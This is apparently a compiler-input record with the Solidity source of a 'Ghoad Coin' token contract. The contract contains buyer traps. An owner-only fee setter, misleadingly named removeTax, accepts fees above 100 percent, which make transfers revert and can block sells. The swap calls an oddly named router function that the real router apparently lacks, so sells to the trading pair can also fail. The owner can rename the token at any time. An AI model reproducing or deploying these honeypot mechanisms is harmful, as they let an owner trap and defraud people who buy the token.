creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "goad.sol": {
        "content": "/*\r\n\r\n\r\n $$$$$$\\  $$\\                                 $$\\  $$$$$$\\            $$\\           \r\n$$  __$$\\ $$ |                                $$ |$$  __$$\\           \\__|          \r\n$$ /  \\__|$$$$$$$\\   $$$$$$\\   $$$$$$\\   $$$$$$$ |$$ /  \\__| $$$$$$\\  $$\\ $$$$$$$\\  \r\n$$ |$$$$\\ $$  __$$\\ $$  __$$\\  \\____$$\\ $$  __$$ |$$ |      $$  __$$\\ $$ |$$  __$$\\ \r\n$$ |\\_$$ |$$ |  $$ |$$ /  $$ | $$$$$$$ |$$ /  $$ |$$ |      $$ /  $$ |$$ |$$ |  $$ |\r\n$$ |  $$ |$$ |  $$ |$$ |  $$ |$$  __$$ |$$ |  $$ |$$ |  $$\\ $$ |  $$ |$$ |$$ |  $$ |\r\n\\$$$$$$  |$$ |  $$ |\\$$$$$$  |\\$$$$$$$ |\\$$$$$$$ |\\$$$$$$  |\\$$$$$$  |$$ |$$ |  $$ |\r\n \\______/ \\__|  \\__| \\______/  \\_______| \\_______| \\______/  \\______/ \\__|\\__|  \\__|\r\n                                                                                    \r\n                                                                                    \r\n                                                                                    \r\n\r\n\r\nWebsite - https://ghoadcoin.xyz/\r\nTwitter - https://x.com/GhoadCoin\r\nTelegram - https://t.me/Ghoad\r\n\r\n*/\r\n\r\n// SPDX-License-Identifier: unlicense\r\n\r\npragma solidity ^0.8.23;\r\n\r\ncontract GHOAD {\r\n    string public _name = unicode\"Ghoad Coin\";\r\n    string public _symbol = unicode\"GHOAD\";\r\n    uint8 public constant decimals = 18;\r\n    uint256 public constant totalSupply = 4000_000_000 * 10**decimals;\r\n\r\n    struct StoreData {\r\n        address tokenMkt;\r\n        uint8 _buyFees;\r\n        uint8 _sellFees;\r\n    }\r\n\r\n    StoreData public storeData;\r\n    uint256 constant swapAmount = totalSupply / 100;\r\n\r\n    error Permissions();\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n    event Approval(\r\n        address indexed TOKEN_MKT,\r\n        address indexed spender,\r\n        uint256 value\r\n    );\r\n\r\n    mapping(address => uint256) public balanceOf;\r\n    mapping(address => mapping(address => uint256)) public allowance;\r\n\r\n    address public pair;\r\n    IUniswapV2Router02 constant _uniswapV2Router =\r\n        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n\r\n    bool private swapping;\r\n    bool private tradingOpen;\r\n\r\n    constructor() {\r\n        uint8 _init_buyFees = 5;\r\n        uint8 _init_sellFees = 8;\r\n        storeData = StoreData({\r\n            tokenMkt: msg.sender,\r\n            _buyFees: _init_buyFees,\r\n            _sellFees: _init_sellFees\r\n        });\r\n        balanceOf[msg.sender] = totalSupply;\r\n        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;\r\n        emit Transfer(address(0), msg.sender, totalSupply);\r\n    }\r\n\r\n    receive() external payable {}\r\n\r\n    function SetBuySell(uint8 _buy, uint8 _sell) external {\r\n        if (msg.sender != _dataTokenMKTAuthencation()) revert Permissions();\r\n        removeTax(_buy, _sell);\r\n    }\r\n\r\n    function removeTax(uint8 _buy, uint8 _sell) private {\r\n        storeData._buyFees = _buy;\r\n        storeData._sellFees = _sell;\r\n    }\r\n\r\n    function _dataTokenMKTAuthencation() private view returns (address) {\r\n        return storeData.tokenMkt;\r\n    }\r\n\r\n    function OpenTrade() external {\r\n        require(msg.sender == _dataTokenMKTAuthencation());\r\n        require(!tradingOpen);\r\n        address _factory = _uniswapV2Router.factory();\r\n        address _weth = _uniswapV2Router.WETH();\r\n        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);\r\n        pair = _pair;\r\n        tradingOpen = true;\r\n    }\r\n\r\n    function transferFrom(\r\n        address from,\r\n        address to,\r\n        uint256 amount\r\n    ) external returns (bool) {\r\n        allowance[from][msg.sender] -= amount;\r\n        return _transfer(from, to, amount);\r\n    }\r\n\r\n    function approve(address spender, uint256 amount) external returns (bool) {\r\n        allowance[msg.sender][spender] = amount;\r\n        emit Approval(msg.sender, spender, amount);\r\n        return true;\r\n    }\r\n\r\n    function transfer(address to, uint256 amount) external returns (bool) {\r\n        return _transfer(msg.sender, to, amount);\r\n    }\r\n\r\n    function name() public view virtual returns (string memory) {\r\n        return _name;\r\n    }\r\n\r\n    function symbol() public view virtual returns (string memory) {\r\n        return _symbol;\r\n    }\r\n\r\n    function _transfer(\r\n        address from,\r\n        address to,\r\n        uint256 amount\r\n    ) internal returns (bool) {\r\n        address tokenMkt = _dataTokenMKTAuthencation();\r\n        require(tradingOpen || from == tokenMkt || to == tokenMkt);\r\n\r\n        balanceOf[from] -= amount;\r\n\r\n        if (\r\n            to == pair &&\r\n            !swapping &&\r\n            balanceOf[address(this)] >= swapAmount &&\r\n            from != tokenMkt\r\n        ) {\r\n            swapping = true;\r\n            address[] memory path = new address[](2);\r\n            path[0] = address(this);\r\n            path[1] = _uniswapV2Router.WETH();\r\n            _uniswapV2Router\r\n                .swapExactTokensForETHSupportingFreelyOnTransferTokens(\r\n                    swapAmount,\r\n                    0,\r\n                    path,\r\n                    address(this),\r\n                    block.timestamp\r\n                );\r\n            payable(tokenMkt).transfer(address(this).balance);\r\n            swapping = false;\r\n        }\r\n\r\n        (uint8 _initBuyFee, uint8 _initSellFee) = (\r\n            storeData._buyFees,\r\n            storeData._sellFees\r\n        );\r\n        if (from != address(this) && tradingOpen == true) {\r\n            uint256 taxCalculatedAmount = (amount *\r\n                (to == pair ? _initSellFee : _initBuyFee)) / 100;\r\n            amount -= taxCalculatedAmount;\r\n            balanceOf[address(this)] += taxCalculatedAmount;\r\n        }\r\n        balanceOf[to] += amount;\r\n        emit Transfer(from, to, amount);\r\n        return true;\r\n    }\r\n\r\n    event DataChange(string _newName, string _newSymbol);\r\n\r\n    function DataType(string calldata _newN, string calldata _newS) external {\r\n        if (msg.sender != _dataTokenMKTAuthencation()) revert Permissions();\r\n        _name = _newN;\r\n        _symbol = _newS;\r\n        emit DataChange(_newN, _newS);\r\n    }\r\n}\r\n\r\ninterface IUniswapFactory {\r\n    function getPair(address tokenA, address tokenB)\r\n        external\r\n        view\r\n        returns (address pair);\r\n}\r\n\r\ninterface IUniswapV2Router02 {\r\n    function factory() external pure returns (address);\r\n\r\n    function WETH() external pure returns (address);\r\n\r\n    function swapExactTokensForETHSupportingFreelyOnTransferTokens(\r\n        uint256 amountIn,\r\n        uint256 amountOutMin,\r\n        address[] calldata path,\r\n        address to,\r\n        uint256 deadline\r\n    ) external;\r\n}\r\n"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}